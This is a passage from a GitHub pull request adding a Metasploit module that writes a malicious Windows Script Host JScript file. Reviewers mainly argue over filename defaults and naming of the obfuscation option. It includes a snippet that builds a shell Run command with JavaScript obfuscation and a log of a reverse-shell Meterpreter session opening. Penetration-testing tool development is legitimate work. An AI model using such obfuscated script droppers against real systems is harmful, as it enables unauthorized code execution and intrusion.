-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add Malicious Windows Script Host JScript (.js) File module #20398
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Malicious Windows Script Host JScript (.js) File module #20398
Conversation
) | ||
|
||
register_options([ | ||
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it make sense to have the name be randomly generated to avoid the mention of msf
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe. That's not something we're in the habit of doing.
# grep -rn FILENAME modules/exploits/**/fileformat | wc -l
395
# grep -rn FILENAME modules/exploits/**/fileformat | grep msf | wc -l
180
Most fileformat modules use a static file name.
# grep -rn FILENAME modules/exploits/**/fileformat | grep -i rand
modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb:62: OptString.new('SYMLINK_FILENAME', [ true, 'The name of the symlink file to use (must be 12 characters or less; default: random)', Rex::Text.rand_text_alpha_lower(4..12)])
modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb:99: lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb:107: fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
modules/exploits/windows/fileformat/office_dde_delivery.rb:68: filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
modules/exploits/windows/fileformat/greenshot_deserialize_cve_2023_34634.rb:58: datastore['FILENAME'] = Rex::Text.rand_text_alpha(rand(6..13)) if datastore['FILENAME'].blank?
modules/exploits/windows/fileformat/office_ms17_11882.rb:261: filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
modules/exploits/windows/fileformat/office_excel_slk.rb:62: OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"])
modules/exploits/windows/fileformat/office_excel_slk.rb:90: filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IIRC, most of fileformat modules do use static file name, but they also create random file name if static file name is not supplied. I think that might be a way to be consistent with fileformat modules.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IIRC, most of fileformat modules do use static file name, but they also create random file name if static file name is not supplied. I think that might be a way to be consistent with fileformat modules.
No. Most of the fileformat modules require the FILENAME
option to be set, thus never allowing the opportunity for the filename to be blank.
# grep -rn FILENAME modules/exploits/**/fileformat | grep Opt | grep false | wc -l
67
# grep -rn FILENAME modules/exploits/**/fileformat | grep Opt | grep true | wc -l
138
# grep -rn FILENAME modules/exploits/**/fileformat | grep Opt | grep -i rand | wc -l
2
If the FILENAME
option is not required and the FILENAME
is blank, the store_local
method will create a <random>.bin
file.
metasploit-framework/lib/msf/core/auxiliary/report.rb
Lines 474 to 505 in 86d5d52
def store_local(ltype=nil, ctype=nil, data=nil, filename=nil) | |
if ! ::File.directory?(Msf::Config.local_directory) | |
FileUtils.mkdir_p(Msf::Config.local_directory) | |
end | |
# Split by fname an extension | |
if filename and not filename.empty? | |
if filename =~ /(.*)\.(.*)/ | |
ext = $2 | |
fname = $1 | |
else | |
fname = filename | |
end | |
else | |
fname = ctype || "local_#{Time.now.utc.to_i}" | |
end | |
# Split by path separator | |
fname = ::File.split(fname).last | |
case ctype # Probably could use more cases | |
when "text/plain" | |
ext ||= "txt" | |
when "text/xml" | |
ext ||= "xml" | |
when "text/html" | |
ext ||= "html" | |
when "application/pdf" | |
ext ||= "pdf" | |
else | |
ext ||= "bin" | |
end |
This does not preserve the expected file extension. This also results in an output message with preceding space where the filename should have been:
msf exploit(windows/fileformat/windows_script_host_jscript) > run
[+] stored at /root/.msf4/local/local_1753623988.bin
This is an objectively uglier solution than the current implementation.
If the goal is to be consistent with the other modules, then the existing approach is more consistent.
A cleaner approach would be to implement custom file name randomization on a per-module basis. This would allow the module to support generating file names with the expected file extension. To achieve this, the module must clobber datastore['FILENAME']
because the Msf::Exploit::FILEFORMAT
library does not support passing the filename to the file_create
method. Clobbering datastore is generally frowned upon in Framework, but not entirely forbidden.
metasploit-framework/lib/msf/core/exploit/fileformat.rb
Lines 29 to 38 in 86d5d52
def file_format_filename | |
datastore['FILENAME'] | |
end | |
def file_create(data) | |
fname = file_format_filename | |
ltype = "exploit.fileformat.#{self.shortname}" | |
full_path = store_local(ltype, nil, data, fname) | |
print_good "#{fname} stored at #{full_path}" | |
end |
|
||
register_options([ | ||
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), | ||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
OBFUSCATE seems slightly generic in this context, with my initial impression being e.g. PrependBenignCode being an obfuscation technique.
Could we rename this to be something more specific, e.g.
JAVASCRIPT_OBSUCATION
or similar?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This seems like needless differentiation, especially as PrependBenignCode
is an advanced option not shown in the default list of options.
OBFUSCATE
is tradition:
# grep -rn OBFUSCATE modules/ | grep Opt
modules/exploits/windows/fileformat/windows_script_host_vbscript.rb:54: OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
modules/exploits/windows/fileformat/word_mshtml_rce.rb:63: OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
modules/exploits/windows/fileformat/word_msdtjs_rce.rb:67: OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
modules/exploits/windows/fileformat/adobe_reader_u3d.rb:81: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/fileformat/windows_script_host_jscript.rb:56: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/notes_handler_cmdinject.rb:72: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_003_ie_css_import.rb:143: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb:81: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/teechart_pro.rb:104: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb:72: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb:63: [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]
modules/exploits/windows/browser/adobe_flash_rtmp.rb:103: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
modules/exploits/windows/browser/samsung_security_manager_put.rb:47: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/honeywell_tema_exec.rb:71: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb:59: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/quickr_qp2_bof.rb:84: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/inotes_dwa85w_bof.rb:86: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/vlc_amv.rb:69: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb:119: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb:81: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb:111: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/ibm_spss_c1sizer.rb:104: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ntr_activex_stopmodule.rb:75: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/cisco_playerpt_setsource.rb:102: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb:77: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/crystal_reports_printcontrol.rb:111: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ie_cbutton_uaf.rb:85: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/asus_net4switch_ipswcom.rb:59: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb:146: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms12_037_same_id.rb:87: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/realplayer_qcp.rb:64: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb:130: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/vlc_mms_bof.rb:89: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb:81: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/pcvue_func.rb:66: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb:86: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/mozilla_nstreerange.rb:132: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
modules/exploits/windows/browser/mozilla_interleaved_write.rb:79: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
modules/exploits/windows/browser/ms12_037_ie_colspan.rb:80: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ie_cgenericelement_uaf.rb:80: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_081_option.rb:62: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/adobe_flash_sps.rb:67: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb:80: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb:80: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/msxml_get_definition_code_exec.rb:131: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb:116: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb:65: [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]
modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb:73: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/ie_execcommand_uaf.rb:83: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms12_004_midi.rb:102: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/zenworks_helplauncher_exec.rb:68: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
modules/exploits/windows/browser/mozilla_reduceright.rb:81: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb:107: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb:112: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ms11_093_ole32.rb:77: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/ntr_activex_check_bof.rb:139: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
modules/exploits/windows/browser/intrust_annotatex_add.rb:85: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
modules/exploits/windows/browser/apple_quicktime_mime_type.rb:93: OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
# grep -rn OBFUSCATE modules/ | grep Opt | cut -d '(' -f2- | sort -u | wc -l
10
# grep -rn OBFUSCATE modules/ | grep Opt | cut -d '(' -f2- | sort -u
'OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
'OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
'OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
'OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]
'OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
'OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
'OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.3.7:4444
[*] Sending stage (203846 bytes) to 10.5.132.152
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.152:49810) at 2025-07-25 08:12:34 +0200
meterpreter > sysinfo
Computer : WIN10_1709_1000
OS : Windows 10 1709 (10.0 Build 16299).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN10_1709_1000\msfuser
) | ||
|
||
register_options([ | ||
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IIRC, most of fileformat modules do use static file name, but they also create random file name if static file name is not supplied. I think that might be a way to be consistent with fileformat modules.
js_payload << "#{shell_var}.Run(\"#{cmd}\");" | ||
|
||
if obfuscate | ||
js_obfu = Rex::Exploitation::JSObfu.new(js_payload) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think you can use Msf::Exploit::JSObfu
which would spare one require
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've made this change.
de10d0d
to
44c61a7
Compare
Release NotesThis adds a new file format module that drops a Windows Script Host JScript file containing a malicious payload. |
This is unlikely to allow initial access without substantial social engineering efforts (or additional obfuscation), as malicious WSH files will almost certainly be blocked by EDR.